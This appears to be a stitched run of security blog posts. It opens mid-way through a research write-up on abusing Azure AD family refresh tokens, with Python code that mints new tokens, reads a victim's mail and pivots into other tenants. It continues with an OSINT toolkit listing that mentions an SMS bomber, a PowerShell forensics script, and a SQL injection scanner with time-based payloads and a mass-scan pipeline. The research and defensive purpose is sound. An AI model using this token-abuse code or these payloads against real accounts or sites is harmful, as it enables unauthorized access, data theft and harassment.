    microsoft_office_client.acquire_token_by_refresh_token(
        # But we can use the refresh token issued to our original client application
        azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
        # And request different scopes too
        scopes=["https://graph.microsoft.com/.default"],
    )
)

# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)

The behavior demonstrated in example 6 led us to ask the following research questions:

1. What is the mechanism and purpose behind this undocumented behavior?
2. Which client applications are compatible with each other?
3. And most importantly: since the safeguards placed on refresh tokens were designed to reduce the risks of token replay and privilege escalation, can this behavior be abused for fun and profit?

To learn more, we performed a series of experiments. In these experiments, we brute forced refresh token grants between combinations of known first-party Microsoft OAuth client applications. The list of first-party applications was assembled by scraping GitHub and from the enterprise applications found in our Azure AD test tenant. For each pair of clients, we requested the .default scope for a fixed list of common Azure AD and Microsoft 365 resource servers. After several million combinations of Microsoft client applications, the following pattern emerged in the results:

• Out of a sample size of ~600 first-party Microsoft client applications, only 15 client applications were issued refresh tokens redeemable for new bearer tokens as a different client than the original access token.
• All 15 anomalous client applications were first-party and pre-consented in our Azure AD test tenant.
• All 15 anomalous client applications were public clients, meaning that no additional credentials were required to obtain bearer tokens.
• There was reciprocity between all 15 anomalous client applications; all the anomalous client applications could redeem their refresh tokens for new bearer tokens for any of the other 15 anomalous client applications.
• The scopes authorized to the newly issued access tokens were based on the new client. In other words, the client application and scopes from the original authorization did not matter. We will explore the implications of this in a later section.
• If the same user principal was invited as a B2B guest in a different Azure AD tenant, then refresh tokens issued to any of the 15 anomalous client applications for that user in Tenant A could be redeemed for other anomalous client applications in Tenant B.
• The authorization server returned an extra field in the JSON response when issuing bearer tokens to these 15 anomalous client applications: an additional field named foci. Notice that this field is present in the examples above.

The term “FOCI” is only mentioned once in official Microsoft documentation, which revealed 1) FOCI is an acronym for “Family of Client IDs” and 2) that FOCI is related to signing into multiple Microsoft Office applications on mobile devices. No further information was available on its purpose or functionality.

Error codes in the responses from the authorization server led us to the open-source projects for various Microsoft Identity software development kits (SDKs) hosted on Github. A Github issue titled “Family of Client IDs Support” contained a description of FOCI that aligned with the observed behavior:

“FUTURE SERVER WORK WILL ALLOW CLIENT IDS TO BE GROUPED ON THE SERVER SIDE IN A WAY WHERE A RT FOR ONE CLIENT ID CAN BE REDEEMED FOR A AT AND RT FOR A DIFFERENT CLIENT ID AS LONG AS THEY’RE IN THE SAME GROUP. THIS WILL MOVE US CLOSER TO BEING ABLE TO PROVIDE SSO-LIKE FUNCTIONALITY BETWEEN APPS WITHOUT REQUIRING THE BROKER (OR WORKPLACE JOIN).”

We then found references in the source code calling refresh tokens issued to FOCI clients “family refresh tokens” (or FRTs). Based on developer remarks, it appears there is only one family ID currently in use at Microsoft.

In MSRC submission VULN-057712, Microsoft confirmed that FOCI and family refresh tokens are an intentional software feature. Microsoft engineering provided a thoughtful (and quite lengthy) response describing the origins of FOCI and its threat model, which confirmed the findings from this research. According to Microsoft, FOCI was designed to support pseudo single sign-on (SSO) functionality for Microsoft mobile applications. FOCI mirrors the behavior of mobile operating systems that store authentication artifacts (such as refresh tokens) in a shared token cache with other applications from the same software publisher.

Here is the list of known FOCI “family” clients discovered during our experimentation:

This list is not exhaustive. We believe that the presence of the foci field in final leg of the grant flow is a high confidence indicator that the client belongs to the FOCI “family.” We will add new clients as they are discovered in this repository.

Family refresh tokens are a special kind of refresh token that disregard the token binding safeguards defined in the OAuth 2.0 specifications. Since a family refresh token issued to any “family” client application can be redeemed for access tokens for every/any/all other family client applications, a family refresh token effectively provides the possessor with access to the union of all scopes in the family. This has some serious and likely unintended consequences given that there are hundreds of scopes with pre-consent for these FOCI “family” client applications. Microsoft argued that a risk of refresh token theft applies to all OAuth public clients, which is certainly true. But Microsoft did not acknowledge that family refresh tokens – being unbound to either client application or scope – pose a higher risk of abuse.

To highlight the different levels of access afforded by the access tokens we’ve acquired so far, let’s imagine a scenario where an attacker steals tokens issued to the Azure CLI. This is quite plausible because these tokens are often stored in plain-text on disk in ~/.azure/accessTokens.json.

def read_email_messages(access_token: str) -> List[Dict[str, Any]]:
    """List the user's email messages."""
    url = "https://graph.microsoft.com/beta/me/mailfolders/inbox/messages"
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {access_token}",
    }
    return requests.get(url, headers=headers).json()

If we try to use the access token for the Azure CLI client to call the /beta/me/mailfolders/inbox/messages endpoint, we should receive an error message from the API. This makes sense since the Azure CLI access token does not contain Mail.* related scopes and the Azure CLI has no legitimate reason to read user email.

read_email_messages(azure_cli_bearer_tokens_for_graph_api.get("access_token"))

But if the attacker redeemed the family refresh token issued to the Azure CLI to acquire new tokens for a different client with the necessary scopes (as we did with the Microsoft Office client in example 6), then the attacker could read the victim user’s emails with a newly minted access token instead.

read_email_messages(microsoft_office_bearer_tokens_for_graph_api.get("access_token"))

As defenders, we need to be aware of the blast radius of a stolen (or illictly acquired) family refresh token. It is not documented (or intuitive) that stolen Azure CLI tokens can be used to perform actions that exceed the consent granted to the Azure CLI client application itself.

Family refresh tokens allow privilege escalation relative to the original client application. To be clear, the scopes authorized to newly minted access tokens when redeeming family refresh tokens do not exceed the level of access for the resource owner (user) in the Azure AD directory; it doesn’t allow lower privileged users to do things that they aren’t entitled to do in Azure or Microsoft 365. In other words, the level of access provided by a FRT relative to the user’s directory role assignments is unchanged. In this context, it does not qualify as privilege escalation. But from the OAuth and practical attack perspectives, the level of access provided by family refresh tokens greatly surpasses what the resource owner authorized to any given client application.

Furthermore, redeeming family refresh tokens does not invalidate previously issued refresh tokens. The following examples shows that a single family refresh token can also be used to obtain access tokens for every family client application.

from utils import get_tokens_for_foci_clients

df = get_tokens_for_foci_clients(azure_cli_bearer_tokens_for_graph_api, demo=True)
df.head()

(
    df.assign(
        scp=df.scp.str.split()
    )
    .explode('scp')
    .groupby([
        'scp', 
        'aud', 
        'appid'
    ])
    .size()
    .to_frame()
)

RFC 6819 enumerates a variety of attack paths for malicious actors to obtain refresh tokens, all of which apply to family refresh tokens. Broadly speaking, these attacks involve either 1) stealing a previously and legitimately issued family refresh token or 2) obtaining a family refresh token through malicious authorization.

There are multiple ways to steal family refresh tokens that were previously and legitimately issued to family client applications. For example, if the attacker compromises the cache where the tokens are stored (such as the Windows Web Account Manager), intercepts the tokens over network traffic during a grant flow, or finds them serialized on disk in files (such as the previous example of ~/.Azure/accessTokens.json).

We focused our attention, however, on how an attacker could obtain family refresh tokens by maliciously authorizing a family client application.

Since the known family client applications are all so-called public clients (meaning they don’t have their own secrets), it is possible to use the device authorization grant flow to obtain family refresh tokens. The device authorization grant flow has become synonymous with device code phishing, a popular technique wherein the attacker tricks the victim into authorizing an OAuth application.

During a device code phishing attempt, the victim is presented with information about the client application that is asking for authorization. The convenient benefits of device code phishing with family client applications are 1) user consent is not required and 2) the attacker can use whatever family client application is mostly likely to socially engineer the victim in the request, then redeem its family refresh token for a new access token for a different family client application authorized for the desired scopes.

We leverage device code phishing to great effect during red team engagements, especially with FOCI clients. We have published a tool that we use to perform these attacks on the Secureworks Github.

Another simple and effective method to obtain family refresh tokens is to abuse single sign-on on Azure AD joined devices with Pass-The-PRT attacks. The OAuth 2.0 threat model describes a scenario where an attacker might obtain a refresh token through exploiting some mechanism that automatically authorizes client applications without knowledge or intent from the resource owner. This is trivially possible on Azure AD joined Windows devices with single sign-on enabled.

Any process that executes in the context of a logged-in Azure AD user on an Azure AD-joined Windows device can request a pre-signed cookie from a COM service. This cookie can then be used to complete an authorization grant flow for arbitrary OAuth applications, including family client apps. There are other ways to obtain these signed cookies as well.

Typically, the disadvantage of abusing SSO is that each time the attacker wants access to some scope that was not authorized to the stolen access token, the attacker must request a new signed cookie (or otherwise complete an authorization grant flow again) to obtain a new access token with the desired scopes. In the case of family refresh tokens, even if the attacker only generates a single pre-signed cookie, they can silently exchange the family refresh token multiple times for new access tokens for other family client applications.

We have abused single sign-on to authorize FOCI clients during red team engagements. It is convenient that we can run tools such as AzureHound to minimize interactive user sign-ins when multiple tokens with the necessary scopes.

Conditional access policies still apply to family client applications and family refresh tokens. Conditional access policies that require multi-factor authentication, however, do not impede attackers from abusing legitimately issued family refresh tokens since refresh token grants are always non-interactive and usually inherit the authentication method claims from the original authorization grant. Furthermore, conditional access policies based on trusting the device are ineffective when a family client application is maliciously authorized by abusing SSO because the request does indeed originate from the trusted device.

Any conditional access policies (or other controls) based purely on the family client application identifiers are trivial to bypass if another client in the family also has consent for the desired scopes. We were pleasantly surprised in recent testing that the options for cloud apps in the conditional access policy criteria appear to be based on the resource, rather than the client ID. This is significantly more secure, since defenders can focus on hardening sensitive scopes, rather than playing whack-a-mole with client applications that may be granted consent for those sensitive scopes in the future.

In the response to VULN-057712, Microsoft noted that they plan to improve conditional access policies to allow restricting the issuance of family refresh tokens and unbound refresh tokens in the future.

Whenever a refresh token is used to obtain new bearer tokens, an event will appear in the Azure AD sign-in logs under the “User sign-ins (non-interactive)” tab.

Non-interactive sign-in events are frequently overlooked by defenders. There is currently no indication if the sign-in was done using a family refresh token. Defenders will need to monitor these logs for known FOCI client identifiers, especially when there are bursts of non-interactive sign-ins for multiple FOCI clients in a short period of time. Unfortunately, Microsoft dismissed the idea of publishing the current list of FOCI clients because the “list changes frequently with new apps and removal of old apps.”

Family refresh tokens are long-lived and provide a tremendous level of access to protected resources. Because resetting a compromised user’s password does not automatically invalidate bearer tokens that have already been issued in many circumstances, defenders must aggressively revoke refresh tokens whenever an account is suspected to be compromised.

Connect-AzureAD
Revoke-AzureADUserAllRefreshToken -ObjectId johndoe@contoso.com

A feature called continuous access evaluation (CAE) enables Azure AD to notify resource servers when a “critical event” happens to a user, such as a password reset, letting the resource server reject otherwise valid tokens. CAE is not yet supported by all client applications and resource servers.

Refresh tokens are long-lived credentials that allow anyone in possession to mint new access tokens. The scopes authorized for these access tokens determine the blast radius from refresh token theft. The OAuth 2.0 specifications include safeguards to mitigate potential risk: refresh tokens ought to be bound to the same client application and limited to the same scopes as the original authorization.

The Azure AD implementation of OAuth 2.0 differs from the specification in a few important and undocumented ways. Azure AD does not enforce the safeguards for refresh tokens. All refresh tokens in Azure AD disregard the first safeguard because they are not bound to the same scopes as the original authorization. The recently discovered “Family of Client IDs” (FOCI) feature disregards both safeguards with special “family refresh tokens” (FRTs). FRTs allow the bearer to mint new access tokens for any “family” client application and for any of the scopes that the chosen family client has been granted consent.

While Azure AD asks users to specifically and explicitly delegate access to third-party OAuth applications, Microsoft does not ask the same for first-party applications. Microsoft pre-authorizes many of its own OAuth applications to manage the dependencies between heavily integrated cloud services – providing so-called “implied consent” for users. All the known family client applications identified during our testing were granted implied consent and present by default in our Azure AD test tenant. But the very idea “consent” seems incompatible with the fact that the clients and scopes with pre-authorization remain unknown to users and administrators.

It is reasonable for Microsoft to hide complexity that users and administrators don’t need to worry about. But undocumented features like FOCI have sufficient security implications to warrant informing defenders; anything less is just security through obscurity. Organizations must know how and why first-party applications access their data to determine legitimate business need – and be able to deny access to applications without it.

In response to our MSRC submission Microsoft stated: “in the future we may move away from FOCI completely.” In the interim, the community should encourage Microsoft to publish documentation on FOCI, including a list of family client applications to monitor for potential abuse. We should be prepared to implement Microsoft’s planned improvements to conditional access policies, which would restrict the issuance of family refresh tokens. Lastly, defenders must be vigilant to revoke refresh tokens for any suspected compromised accounts.

def check_tenants_api(access_token: str) -> List[Dict[str, Any]]:
    url = 'https://management.azure.com/tenants?api-version=2020-01-01'
    headers = {
        'Content-Type': 'application/json',
        'Authorization': f'Bearer {access_token}'
    }
    return requests.get(url, headers=headers).json().get('value')


azure_cli_bearer_tokens_for_azure_mgmt_api = (
    azure_cli_client.acquire_token_by_refresh_token( 
        new_azure_cli_bearer_tokens_for_graph_api.get(
            "refresh_token" 
        ),
        scopes=[
            "https://management.core.windows.net/user_impersonation" 
        ],  
    )
)

other_tenants = check_tenants_api(
    azure_cli_bearer_tokens_for_azure_mgmt_api.get('access_token')
)

pprint(other_tenants)

If the victim user is a B2B guest in another tenant, it should appear in the results. Pick a desired tenant ID, then run the following:

tenant_b = input("Provide a tenant ID: ")

microsoft_office_client_tenant_b = msal.PublicClientApplication(
    "d3590ed6-52b3-4102-aeff-aad2292ab01c",
    authority=f"https://login.microsoftonline.com/{tenant_b}"
)

microsoft_office_tenant_b_bearer_tokens_for_graph_api = (
    microsoft_office_client_tenant_b.acquire_token_by_refresh_token(
        azure_cli_bearer_tokens_for_azure_mgmt_api.get("refresh_token"),
        scopes=["https://graph.microsoft.com/.default"],
    )
)

pprint(microsoft_office_tenant_b_bearer_tokens_for_graph_api)

check_my_oauth2PermissionGrants(
    microsoft_office_tenant_b_bearer_tokens_for_graph_api.get("access_token")
)

The post Abusing Family Refresh Tokens For Unauthorized Access And Persistence In Azure Active Directory appeared first on Tech Chronicles.

From extracting information from social media accounts to conducting phone and IP lookups, H4X-Tools offers a wide array of functionalities to aid researchers, developers, and security enthusiasts alike.

Explore its features, installation process, and community-driven development in this article. Toolkit for scraping, OSINT and more.

Submit feature requests and bugs in the issues tab.

If you want to help with the development, follow the instructions in contributing and simply open a pull request. You can also donate to keep the project alive and me motivated!

Current Tools

Warning

Some tools might not work on Windows systems.

Note

-IG Scrape requires you to log in, in order to use it.

-SMS Bomber only works with US numbers.

-You might get rate limited after using some of the tools for too long.

Installation

I’ll upload already built executables to the releases tab, but I’d recommend installing the tool manually by following the instructions below. This way you also get the freshest version.

Setup

Important

Make sure you have Python and Git installed.

View the wiki page for more detailed tutorial.

Linux

1. Clone the repo git clone https://github.com/vil/h4x-tools.git
2. Change directory cd h4x-tools
3. Run sh setup.sh in terminal to install the tool.

Windows

1. Clone the repo git clone https://github.com/vil/h4x-tools.git
2. Change directory cd h4x-tools
3. Run the setup.bat file.

Setup files will automatically build the tool as an executable. You can also run the tool using python h4xtools.py in the terminal.

Also, dependencies can be installed manually using pip install -r requirements.txt.

The post H4X-Tools – Designed for Scraping, OSINT and Beyond appeared first on Tech Chronicles.

The following Incident Response scripts are included:

• DFIR Script: Collects all items as listed in section DFIR Script.
• CollectWindowsEvents: Collects all Windows events and outputs it as CSV.
• CollectWindowsSecurityEvents: Collects all Windows security events and outputs it as CSV.
• CollectPnPDevices: Collects all Plug and Play devices, such as USB, Network and Storage.
• DumpLocalAdmins: Returns all local admins of a device.
• LastLogons – List the last N successful logins of a device.
• ListInstalledSecurityProducts – List the installed security products and their status.
• ListDefenderExclusions – List the FolderPath, FileExtension, Process and IP exclusions that are defined.

DFIR Script – Extracted Artefacts

The DFIR script collects information from multiple sources and structures the output in the current directory in a folder named ‘DFIR-hostname-year-month-date’.

This folder is zipped at the end, so that folder can be remotely collected. This script can also be used within Defender For Endpoint in a Live Response session (see below).

The DFIR script collects the following information when running as normal user:

• Local IP Info
• Open Connections
• Aautorun Information (Startup Folder & Registry Run keys)
• Active Users
• Local Users
• Connections Made From Office Applications
• Active SMB Shares
• RDP Sessions
• Active Processes
• Active USB Connections
• Powershell History
• DNS Cache
• Installed Drivers
• Installed Software
• Running Services
• Scheduled Tasks
• Browser history and profile files

For the best experience run the script as admin, then the following items will also be collected:

• Windows Security Events
• Remotely Opened Files
• Shadow Copies
• MPLogs
• Defender Exclusions

SIEM Import Functionality

The forensic artefacts are exported as CSV files, which allows responders to ingest them into their tooling. Some example tools in which you can ingest the data are Sentinel, Splunk, Elastic or Azure Data Explorer. This will allow you to perform filtering, aggregation and visualisation with your preferred query language.

The folder CSV Results (SIEM Import Data) includes all the CSV files containing the artefacts, the folder listing is shown below.

Name
----
ActiveUsers.csv
AutoRun.csv
ConnectedDevices.csv
DefenderExclusions.csv
DNSCache.csv
Drivers.csv
InstalledSoftware.csv
IPConfiguration.csv
LocalUsers.csv
NetworkShares.csv
OfficeConnections.csv
OpenTCPConnections.csv
PowerShellHistory.csv
Processes.csv
RDPSessions.csv
RemotelyOpenedFiles.csv
RunningServices.csv
ScheduledTasks.csv
ScheduledTasksRunInfo.csv
SecurityEvents.csv
ShadowCopy.csv
SMBShares.csv

DFIR Commands

The DFIR Commands page contains invidividual powershell commands that can be used during your incident response process. The follwing catagories are defined:

• Connections
• Persistence
• Windows Security Events
• Processes
• User & Group Information
• Applications
• File Analysis
• Collect IOC Information

Windows Usage

The script can be excuted by running the following command.

.\DFIR-Script.ps1

The script is unsigned, that could result in having to use the -ExecutionPolicy Bypass to run the script.

Powershell.exe -ExecutionPolicy Bypass .\DFIR-Script.ps1

DFIR Script | Defender For Endpoit Live Response Integration

It is possible to use the DFIR Script in combination with the Defender For Endpoint Live Repsonse. Make sure that Live Response is setup (See DOCS). Since my script is usigned a setting change must be made to able to run the script.

There is a blog article available that explains more about how to leverage Custom Script in Live Response: Incident Response Part 3: Leveraging Live Response

To run unsigned scripts live Response:

• Security.microsoft.com
• Settings
• Endpoints
• Advanced Features
• Make sure that Live Response is enabled
• If you want to run this on a server enable live resonse for servers
• Enable Live Response unsigened script execution

Execute script:

• Go to the device page
• Initiate Live Response session
• Upload File to library to upload script
• After uploading the script to the library execute: run DFIR-script.ps1 to start the script.
• Execute getfile DFIR-DeviceName-yyyy-mm-dd to download the retrieved artifacts to your local machine for analysis.

Docs

• Microsoft Documentation Live Response
• DFE User permissions
• Defender For Endpoint Settings Live Response

The post Powershell Digital Forensics And Incident Response (DFIR) – Leveraging Scripts For Effective Cybersecurity appeared first on Tech Chronicles.

It enhances the security assessment process by rapidly scanning and identifying potential vulnerabilities using multi-threaded, ensuring speed and efficiency.

Unlike other scanners, SqliSniper is designed to eliminates false positives through and send alerts upon detection, with the built-in Discord notification functionality.

Key Features

• Time-Based Blind SQL Injection Detection: Pinpoints potential SQL injection vulnerabilities in HTTP headers.
• Multi-Threaded Scanning: Offers faster scanning capabilities through concurrent processing.
• Discord Notifications: Sends alerts via Discord webhook for detected vulnerabilities.
• False Positive Checks: Implements response time analysis to differentiate between true positives and false alarms.
• Custom Payload and Headers Support: Allows users to define custom payloads and headers for targeted scanning.

Installation

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt

Usage

This will display help for the tool. Here are all the options it supports.

ubuntu:~/sqlisniper$ ./sqlisniper.py -h


███████╗ ██████╗ ██╗     ██╗    ███████╗███╗   ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║     ██║    ██╔════╝████╗  ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║   ██║██║     ██║    ███████╗██╔██╗ ██║██║██████╔╝█████╗  ██████╔╝
╚════██║██║▄▄ ██║██║     ██║    ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝  ██╔══██╗
███████║╚██████╔╝███████╗██║    ███████║██║ ╚████║██║██║     ███████╗██║  ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝    ╚══════╝╚═╝  ╚═══╝╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝

                            -: By Muhammad Danial :-

usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
                     [--threads THREADS]

Detect SQL injection by sending malicious queries

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Single URL for the target
  -r URLS_FILE, --urls_file URLS_FILE
                        File containing a list of URLs
  -p, --pipeline        Read from pipeline
  --proxy PROXY         Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
  --payload PAYLOAD     File containing malicious payloads (default is payloads.txt)
  --single-payload SINGLE_PAYLOAD
                        Single payload for testing
  --discord DISCORD     Discord Webhook URL
  --headers HEADERS     File containing headers (default is headers.txt)
  --threads THREADS     Number of threads

Running SqliSniper

Single Url Scan

The url can be provided with -u flag for single site scan

./sqlisniper.py -u http://example.com

File Input

The -r flag allows SqliSniper to read a file containing multiple URLs for simultaneous scanning.

./sqlisniper.py -r url.txt

Piping URLs

The SqliSniper can also worked with the pipeline input with -p flag

cat url.txt | ./sqlisniper.py -p

The pipeline feature facilitates seamless integration with other tools. For instance, you can utilize tools like subfinder and httpx, and then pipe their output to SqliSniper for mass scanning.

subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p

Scanning with custom payloads

By default the SqliSniper use the payloads.txt file. However --payload flag can be used for providing custom payloads file.

./sqlisniper.py -u http://example.com --payload mssql_payloads.txt

While using the custom payloads file, ensure that you substitute the sleep time with %__TIME_OUT__%. SqliSniper dynamically adjusts the sleep time iteratively to mitigate potential false positives. The payloads file should look like this.

ubuntu:~/sqlisniper$ cat payloads.txt 
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z

Scanning with Single Payloads

If you want to only test with the single payload --single-payload flag can be used. Make sure to replace the sleep time with %__TIME_OUT__%

./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"

Scanning Custom Header

Headers are saved in the file headers.txt for scanning custom header save the custom HTTP Request Header in headers.txt file.

ubuntu:~/sqlisniper$ cat headers.txt 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1

Sending Discord Alert Notifications

SqliSniper also offers Discord alert notifications, enhancing its functionality by providing real-time alerts through Discord webhooks. This feature proves invaluable during large-scale scans, allowing prompt notifications upon detection.

./sqlisniper.py -r url.txt --discord <web_hookurl>

Multi-Threading

Threads can be defined with --threads flag

 ./sqlisniper.py -r url.txt --threads 10

Note: It is crucial to consider that employing a higher number of threads might lead to potential false positives or overlooking valid issues. Due to the nature of time-based SQL injection it is recommended to use lower thread for more accurate detection.

Usage of this tool for attacking targets without prior mutual consent is strictly prohibited. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

The post SqliSniper – Enhancing Web Security By Detecting SQL Injection Vulnerabilities With Python appeared first on Tech Chronicles.